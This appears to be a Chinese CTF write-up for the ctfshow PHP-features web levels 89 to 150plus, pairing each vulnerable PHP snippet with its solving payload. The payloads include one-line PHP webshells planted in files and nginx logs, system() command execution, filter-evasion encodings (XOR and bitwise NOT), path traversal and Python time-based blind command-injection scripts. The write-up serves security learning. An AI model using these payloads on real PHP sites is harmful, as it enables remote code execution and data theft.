本文最后更新于 2024年9月18日 晚上
web89
web90 0x01
0x02
0x03
0x04
web91
web92 0x01
0x02
web92 0x01
0x02
web93 0x01
0x02
web94 0x01
0x02
web95 0x01
0x02
web96 0x01 1 ?u=php://filter/convert.base64-encode/resource=flag.php
0x02
0x03 1 ?u=/var/www/html/flag.php
web97 0x01
0x02 用fastcoll进行生成
web98 按要求进行传参就行了,cookie,post,FLAG,等等
web99 先了解一下in_array函数,如图
in_array是用于检查数组里有没有对应的内容,正常是需要传三个值,第一个值是要搜索的值,可以是字符串、整数等。第二个值是要搜索的数组,即是否存在这个数组,第三个是可选当设置为 true
时,in_array()
不仅检查值是否相同,还会检查类型是否相同。如果未设置或为 false
,则不会比较类型。本题就是由于第三个没有导致的弱比教漏洞
所以根据题目要求
1 content=<?php eval ($_POST [1]);?>
然后进入1.php执行ls,最后执行得到flag
1 1=system('tac flag36d.php' );
web100 1 ?v1=0&v2=show_source(system('ls' ))&v3=;
测试完忘记读题,在$ctfshow里面
1 ?v1=0&v2=var_dump($ctfshow )&v3=;
web101 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php /* */ highlight_file(__FILE__); include("ctfshow.php" ); //flag in class ctfshow;$ctfshow = new ctfshow();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric($v1 ) and is_numeric($v2 ) and is_numeric($v3 );if ($v0 ){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
没遇过学习一下,反射,ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass(‘className’)打印类的信息。
ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。
1 ?v1=1&v2=echo new Reflectionclass&v3=;
web102 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); }else { die ('hacker' ); }?>
call_user_func
函数是用于调用一个回调函数,$s从第二个开始读取,file_put_contents
可以写入文件
v3用伪协议写入一个文件v3=php://filter/write=convert.base64-decode/resource=1.php
还需要讲的是短标签<?=
就相当于<?php echo
,我们需要构造,末尾有空格
先进行base64,原因是我们写入的时候用了base64,然后进行hex,最后再编码前面加两位
1 v2=115044383959474e686443417159447367
最后v1=hex2bin
进行转化进行,到1.php里看答案
1 ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
web103 用上面102的payload可以正常打通
web104 0x01 数组绕过
0x02
web105 本地考察了变量覆盖
先上payload
0x01
原理就是$suces=$flag,然后post发$error=$suces,通过串联,达成了$error=$flag;
0x02 清空内容
web106 同web104
web107
1 v1=flag=c4ca4238a0b923820dcc509a6f75849b
parse_str
将 $v1
中的查询字符串解析成一个关联数组,并将解析结果存储在 $v2
中。
就相当于$v2[flag]=c4ca4238a0b923820dcc509a6f75849b,控制两边相等就行了
web108
ereg用于检测是否只包含字母(大小写),0x36d
的十进制值是 877。反转 "877"
得到的字符串是 "778"
,
不过这里的 ereg()
存在截断漏洞, %00
后的字符串不解析构造 a%00778
来绕过 ereg()
的检测
web109 使用原生类的内置类进行目录扫描
1 ?v1=DirectoryIterator&v2=system(ls )
然后使用映射类读取flag
1 ?v1=Reflectionclass&v2=system('tac fl36dg.txt' )
或者
1 ?v1=Exception&v2=system('tac fl36dg.txt' )
或者
1 ?v1=Error&v2=system('tac fl36dg.txt' )
web110 根据题目给的hint,先上payload
1 ?v1=FilesystemIterator&v2=getcwd
FilesystemIterator::__construct — 构造一个新的文件系统迭代器
getcwd()
返回当前工作目录, 即 /var/ww/html。类里面刚好有 __toString
可以 echo 输出
web111
进行变量覆盖
web112 1 ?file=php://filter/resource=flag.php
或者
1 ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
或者
1 ?file=compress.zlib://flag.php
web113 1 ?file=compress.zlib://flag.php
官p是
1 2 3 4 5 ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
这是一个 Linux 环境中的路径表达式,表示通过不断递归访问 /proc/self/root
来尝试访问最终的目标文件 /var/www/html/flag.php
。利用函数所能处理的长度限制进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。
web114 0x01 1 ?file=php://filter//resource=flag.php
0x02 1 ?file=Php://filter/zlib.deflate|zlib.inflate/resource=flag.php
web115
利用 PHP 的宽松类型比较特性
由于 $num
的原始值是 "\x0c36"
,它通过了 is_numeric()
检查,且不严格等于 '36'
,同时经过 filter()
处理后的值仍为 '36'
。
web123 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }?>
一开始是想执行fl0g其实是执行不了的,真是可以传值的只有利用fun,执行echo $flag,这里因为php特性改成[,再传给CTF_SHOW,就达成了判断条件
1 CTF_SHOW=&CTF[SHOW.COM=1&fun= echo $flag
web125 0x01 1 CTF_SHOW=&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
无参数绕过常见的一种方法
0x02 1 CTF_SHOW=&CTF[SHOW.COM=1&fun=highlight_file($_GET [1])
?1=flag.php
0x03 1 CTF_SHOW=&CTF[SHOW.COM=1&fun=include($_GET [1])
1 ?1=php://filter/convert.base64-encode/resource=flag.php
web126 0x01 1 CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a [1])
?a=1+fl0g=flag_give_me
。在之前的代码中存在 parse_str($a[1])
,并且 $a[1]
是可控的输入,那么这里的查询字符串会被 parse_str()
函数解析。
$a[1]
包含 fl0g=flag_give_me
,parse_str($a[1])
会将它解析为:
0x02 1 CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a [0])
web127 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } }if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); }if ($ctf_show ==='ilove36d' ){ echo $flag ; }
0x01
点或空格会被转化为下划线,由于点被过滤 ,所以可以用上空格。
0x02 $_SERVER[‘QUERY_STRING’];获取的查询语句是服务端还没url解码之前的字符串,所以对_进行一次url编码也能绕过。
web128 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php /* */ error_reporting(0); include("flag.php" ); highlight_file(__FILE__);$f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check($f1 )){ var_dump(call_user_func(call_user_func($f1 ,$f2 ))); }else { echo "嗯哼?" ; }function check($str ){ return !preg_match('/[0-9]|[a-z]/i' , $str ); }
1 ?f1=_&f2=get_defined_vars
本地学到了,php扩展目录下有php_gettext.dll_()是一个函数。
_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。
为了绕过正则,_()函数和gettext()的效果一样,所以可以用_()函数代替gettext()函数。
web129 0x01 1 ?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
0x02 1 ?f=/ctfshow/../../../../var/www/html/flag.php
进行目录穿越
web130 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
0x01
+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true
0x02 PHP利用PCRE回溯次数限制绕过,前面加个100w个a就行
web131 PHP利用PCRE回溯次数限制绕过,前面加个100w个a就行
web132 进去是一个网站,默认看一下robots.txt,告诉/admin,进去得到网页
1 ?code=admin&password=1&username=admin
1 if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" )
先运行&&
再运行||
,a||b如果前面的错了那么就运行后面的,如果前面对的就不看后面的了
web133 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php /* */ error_reporting(0); highlight_file(__FILE__); //flag.phpif ($F = @$_GET ['F' ]){ if (!preg_match('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr($F ,0,6)); }else { die("6个字母都还不够呀?!" ); } }
原理大致就是利用curl外带,然后dnslog进行,直接贴文章吧
ctfshow web133和其他命令执行的骚操作-CSDN博客
web134 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]);extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
1 ?_POST[key1]=36d&_POST[key2]=36d
利用变量覆盖,执行
web135 1 ?F=`$F `+;cp +flag.php+1.txt
自身的值在被eval时候直接引用自身,可以用cp把flag复制到1.txt访问 ?F=
$F+;cp+flag.php+1.txt
web136
1 ?c=tac f149_15_h3r3 |tee aa
web137 1 ctfshow=ctfshow::getFlag
web138 strripos($_POST['ctfshow'], ":") > -1
的检查条件意味着只要 POST 数据中包含冒号,代码就会终止。
1 ctfshow[0]=ctfshow&ctfshow[1]=getFlag
在 PHP 中,call_user_func
可以接收数组形式的参数来调用静态方法。这种方式可以绕过冒号检查,因为 ctfshow[0]=ctfshow&ctfshow[1]=getFlag
并不包含冒号。
ctfshow[0]=ctfshow
:表示调用 ctfshow
类的方法。
ctfshow[1]=getFlag
:表示调用 getFlag
方法。
web139 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } }if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); }else { highlight_file (__FILE__ ); }?>
和136差不多,但是测了一下好像并不能写入文件,应该是权限问题,跟着官p看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport timeimport stringstr = string.ascii_letters + string.digits + '_~' result = "" for i in range (1 , 10 ): key = 0 for j in range (1 , 15 ): if key == 1 : break for n in str : payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi" .format (i, j, n) url = "http://271efe3f-c200-4c7c-b5fc-0262498db523.challenge.ctf.show/?c=" + payload try : requests.get(url, timeout=(2.5 , 2.5 )) except : result = result + n print (result) break if n == '~' : key = 1 result += " " print ("Final result:" , result)
ls /|awk 'NR=={0}'
: 获取 /
目录下的第 i
个文件或目录的名称。
cut -c {1}
: 获取文件名的第 j
个字符。
if [ ... == {2} ]
: 判断这个字符是否等于当前循环中的字符 n
。
sleep 3
: 如果匹配成功,则让服务器等待 3 秒。
文件在f149_15_h3r3
里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport timeimport stringstr =string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range (1 ,45 ): print (j) if key==1 : break for n in str : payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi" .format (j,n) url="http://271efe3f-c200-4c7c-b5fc-0262498db523.challenge.ctf.show/?c=" +payload try : requests.get(url,timeout=(2.5 ,2.5 )) except : result=result+n print (result) break
最后要扩个括号
web140 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
字符串进行整数转化是0,所以只要保证$code是否为0就行了
0x01
成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。
0x02
0x03
web141 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
preg_match('/^\W+$/', $v3)
这段代码的作用是检查变量 $v3
是否 只包含一个或多个非单词字符 (例如空格、标点符号等),且整个字符串从头到尾都符合这个条件。如果是这样,则返回 1
,否则返回 0
。简单的说就是不能包含字母数字。
利用取反
1 2 3 4 5 6 7 <?php $a ="system" ;$b ="ls /" ;$c =urlencode (~$a );$d =urlencode (~$b );echo ("?c=(~" .$c .")(~" .$d .");" )?>
1 ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
1 ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
个人解惑:通过加上 -
号,可以构造出一个合法的数学或逻辑运算符,使得最终的表达式可以被 eval()
正常解析和执行。以前写的没有遇到加-
的
web142 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
相当于睡眠下面的式子,可以输入v1=0可以变为0,下面的式子 $$ d=(int)(v1×877^5) $$
web143 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
多加了+
,-
,~
不可以用取反了,可以尝试进行异或绕过
1 ?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0c%0c" ^"%60%7f" )*
1 ?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0b%01%03%00%06%0c%01%07%01%0f%08%0f" ^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f" )*
脚本是使用yu师傅的rce生成,然后用python进行构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php $myfile = fopen ("xor_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )^urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from sys import *def action (arg ): s1="" s2="" for i in arg: f=open ("xor_rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"^\"" +s2+"\")" return (output) fun="system" cmd="tac flag.php" print ("function:" +action(fun))print ("cmd:" +action(cmd))
web144 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && check ($v3 )){ if (preg_match ('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }function check ($str ) { return strlen ($str )===1 ?true :false ; }
和web141基本一致,限制的是v2稍加进行修改即可
1 ?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
web145 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
0x01 1 ?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):
0x02 1 ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web146 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php /* */ highlight_file(__FILE__);if (isset($_GET ['v1' ]) && isset($_GET ['v2' ]) && isset($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric($v1 ) && is_numeric($v2 )){ if (preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die('get out hacker!' ); } else { $code = eval ("return $v1$v3$v2 ;" ); echo "$v1$v3$v2 = " .$code ; } } }
用上一题的0x02的payload可以正常得到答案
web147 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
确保 $ctfshow
只包含小写字母、数字和下划线(正则表达式 ^[a-z0-9_]*$
)。
**i
**:忽略大小写。
**s
**:使 .
可以匹配换行符。
**D
**:禁用多行模式(^
和 $
只匹配整个字符串的开头和结尾)。
1 ?show=;}system('tac f*' );//
show需要提前进行闭合,后面需要进行注释掉,以便可以正常执行,下面的ctf输入\
是为了能够进行绕过,这个函数是用于进行创造一个函数进行执行,详细的可以网上搜索一下
web148 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include 'flag.php' ;if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){ die ("error" ); } @eval ($code ); }else { highlight_file (__FILE__ ); }function get_ctfshow_fl0g ( ) { echo file_get_contents ("flag.php" ); }
直接进行异或
0x01 1 ?code=("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0c%0c" ^"%60%7f" );
1 ?code=("%08%02%08%09%05%0d" ^"%7b%7b%7b%7d%60%60" )("%09%01%03%01%06%0c%01%07%01%0b%08%0b" ^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b" );
0x02 1 ?code=$哈="`{{{" ^"?<>/" ;${$哈} [哼](${$哈} [嗯]);&哼=system&嗯=tac f*
官方预期解
web149 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );highlight_file (__FILE__ );$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }
代码审计一下
1 2 3 4 5 6 7 8 $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }
这段代码是遍历当前目录下的文件是否有叫index.php的,如果有就进行删除
可以利用这一点进行一句话木马上传
1 show=<?php eval ($_POST [1 ]);?>
然后回到页面执行一句话得到了具体的内容
1 1=system('cat /ctfshow_fl0g_here.txt' );
web150 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } }$key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); }$ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; }if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
既然是非预期题目就用非预期来写,先上payload
1 ctf=/var/log/nginx/access.log&1=system('cat f*' );
给ua头上个一句话<?php eval($_POST[1]);?>
,查看网页源码得到flag
strrpos($ctf, ":")
是 PHP 中的一个函数调用,它的作用是查找字符串中最后一次出现指定字符的位置。从题目中
1 2 3 4 public function isVIP (){ return $this ->vip?TRUE:FALSE; } }
要满足这个限制,所以isVIP
进行了限制,只要后面的是不符合的即没有:就行,利用nginx特性,具体对照web4这题,写入日志得到falg
web150plus 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php /* */ include("flag.php" ); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username ; private $password ; private $vip ; private $secret ; function __construct (){ $this ->vip = 0; $this ->secret = $flag ; } function __destruct (){ echo $this ->secret; } public function isVIP (){ return $this ->vip?TRUE:FALSE; } } function __autoload($class ){ if (isset($class )){ $class (); } }$key = $_SERVER ['QUERY_STRING' ];if (preg_match('/\_| |\[|\]|\?/' , $key )){ die("error" ); }$ctf = $_POST ['ctf' ]; extract($_GET );if (class_exists($__CTFSHOW__ )){ echo "class is exists!" ; }if ($isVIP && strrpos($ctf , ":" )===FALSE && strrpos($ctf ,"log" )===FALSE){ include($ctf ); }
这题把log给禁用了,先上一下官方给的exphttps://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
学习文章
__autoload($class)
是 PHP 中用于自动加载类的特殊函数。当你试图使用一个尚未定义的类时,PHP 会自动调用这个 __autoload()
函数,并将类名作为参数传递给它。
class_exists($__CTFSHOW__)
是 PHP 中的一个函数调用,用于检查给定的类是否已经定义。
0x01
我觉得也算非预期,用phpinfo查看,根据特性把_改成了.,搜索ctfshow{
0x02 自己研究下exp吧,我太懒了😋